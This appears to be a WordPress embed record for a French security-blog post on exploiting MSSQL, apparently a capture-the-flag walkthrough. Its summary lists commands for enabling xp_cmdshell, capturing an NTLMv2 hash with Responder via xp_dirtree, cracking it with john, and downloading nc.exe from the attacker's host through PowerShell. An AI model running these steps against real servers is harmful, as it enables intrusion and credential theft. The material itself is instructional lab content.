{"version":"1.0","provider_name":"S\u00e9curiser votre site","provider_url":"https:\/\/www.searchevolution.com\/security","author_name":"Germain","author_url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/","title":"Exploitation de mssql - S\u00e9curiser votre site","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"HdrFjfkXPR\"><a href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/16\/exploitation-de-mssql\/\">Exploitation de mssql<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/16\/exploitation-de-mssql\/embed\/#?secret=HdrFjfkXPR\" width=\"600\" height=\"338\" title=\"&laquo; Exploitation de mssql &raquo; &#8212; S\u00e9curiser votre site\" data-secret=\"HdrFjfkXPR\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script type=\"text\/javascript\">\n\/* <![CDATA[ *\/\n\/*! This file is auto-generated *\/\n!function(d,l){\"use strict\";l.querySelector&&d.addEventListener&&\"undefined\"!=typeof URL&&(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&&!\/[^a-zA-Z0-9]\/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret=\"'+t.secret+'\"]'),o=l.querySelectorAll('blockquote[data-secret=\"'+t.secret+'\"]'),c=new RegExp(\"^https?:$\",\"i\"),i=0;i<o.length;i++)o[i].style.display=\"none\";for(i=0;i<a.length;i++)s=a[i],e.source===s.contentWindow&&(s.removeAttribute(\"style\"),\"height\"===t.message?(1e3<(r=parseInt(t.value,10))?r=1e3:~~r<200&&(r=200),s.height=r):\"link\"===t.message&&(r=new URL(s.getAttribute(\"src\")),n=new URL(t.value),c.test(n.protocol))&&n.host===r.host&&l.activeElement===s&&(d.top.location.href=t.value))}},d.addEventListener(\"message\",d.wp.receiveEmbedMessage,!1),l.addEventListener(\"DOMContentLoaded\",function(){for(var e,t,s=l.querySelectorAll(\"iframe.wp-embedded-content\"),r=0;r<s.length;r++)(t=(e=s[r]).getAttribute(\"data-secret\"))||(t=Math.random().toString(36).substring(2,12),e.src+=\"#?secret=\"+t,e.setAttribute(\"data-secret\",t)),e.contentWindow.postMessage({message:\"ready\",secret:t},\"*\")},!1)))}(window,document);\n\/* ]]> *\/\n<\/script>\n","description":"On peut se connecter via linux \u00e0 un server mssql via l&#8217;utilitaire mssqlclient.py qui est inclus avec impacket mssqlclient.py -windows-auth nomdelordi\/reporting@10.9.0.60 enable_xp_cmdshell Si nous n&#8217;avons pas la permission, nous pouvons utiliser l&#8217;outil responder pour obtenir le NTLMv2-SSP Hashh. L&#8217;outil s&#8217;ex\u00e9cute sur l&#8217;ordinateur de l&#8217;attaquant (10.9.0.60) responder -I tun0 Et puis nous faisons une requ\u00eate sur le shell SQL xp_dirtree &quot;\\10.9.0.60whatever&quot; nous pouvons tenter de cracker le hash obtenu john -w=\/usr\/share\/wordlists\/rockyou.txt SMB-NTLMv2-SSP0 10.10.10.10.txt On se reconnecte avec le nom d&#8217;usager et le mot de passe trouv\u00e9 mssqlclient.py -windows-auth querier\/mssql-svc@10.10.10.10 enable_xp_cmdshell RECONFIGURE xp_cmdshell &quot;powershell.exe -command Invoke-WebRequest -Uri http:\/\/10.9.0.60:8000\/nc.exe -OutFile C:Usersmssql-svcnc.exe &quot; xp_cmdshell"}